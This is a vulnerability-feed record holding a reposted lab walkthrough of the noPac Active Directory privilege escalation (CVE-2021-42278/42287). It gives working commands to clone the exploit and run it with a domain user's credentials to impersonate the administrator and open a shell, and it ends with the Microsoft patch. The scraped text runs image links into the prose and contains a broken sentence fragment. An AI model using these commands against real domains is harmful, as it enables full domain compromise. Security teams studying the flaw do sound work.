{"uuid": "c6724cc8-40fe-4366-9945-d169cf943a78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-42278", "type": "seen", "source": "https://t.me/hacking_Attack/38156", "content": "Hacking Articles|Raj Chandel's Blog\nActive Directory Privilege Escalation (CVE-2021\u201342278)\n\nThis post discusses about how CVE-2021-42287 allows potential attackers to gain high privileged user access (domain controllers Administrator level access) via a low privileged user (any normal Domain user) Description:Active Directory Domain Services Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-42278, CVE-2021-42282, CVE-2021-42291.Release Date:Nov 9, 2021Impact:Elevation of PrivilegeSeverity:ImportantCVSS score:8.8Pentest Lab setupIn the lab, we'll use a Kali VM as the attacker machine and a Windows domain controller (affected Windows platforms are listed above in the article) that hasn't been patched since November 9, 2021, as the victim/target machine.net user sakshihttps://blogger.googleusercontent.com/img/a/AVvXsEjimJpxnvI0YnvCZvfez16f-y3jqhrFe_fEfNn3MoLodMxxYdsU119qQjwF-ibUB0Epq4mL6EjoE2_3819nG26bAxTK2lha2N8gXL8iL56VVTsbEzzjB_zyIV6ATLLsJsrbEnsljEq3-GPmvjwz5v9zdN0t63LFo1OwfG1hdaSZksYKqjD5DILbM6d7ug=s16000 ExploitNow on your attacker system, which is Kali VM, you have to clone the exploit from the git repository provided below.git clone https://github.com/Ridter/noPac After cloning the repo https://github.com/Ridter/noPac, navigate to the noPac foldercd noPachttps://blogger.googleusercontent.com/img/a/AVvXsEgWBhW8jZIbBB_rHqPUzSNMphKReY58NktDe5W8Wfj-HdTmJNpuqWonnTDWomDMhttz6SsQmvbj_BI4TOgseYCt8-50EpJR_Hys0oaaosTiCL8PTDyJxVOuDBATjKwdvrvDdfuD12Yp7qHQDYAiXLfJ9AGnuYgEJ5v9HmQ8TiEagTBSTrWYpziH8m7owQ=s16000 And then execute the command python3 noPac.py ignite.local/sakshi:'Password@1' -dc-ip 192.168.1.182 -shell --impersonate administrator -use-ldapThis CVE is a security bypass vulnerability that is caused by Kerberos\u2019s PAC confusion and impersonation of domain controllers. altSecurityIdentitiesattribute of an account in a foreign domain to Kerberos:[samaccountname]@[domain]to impersonate that user.MitigationKB5008602 - https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:22.556798Z"}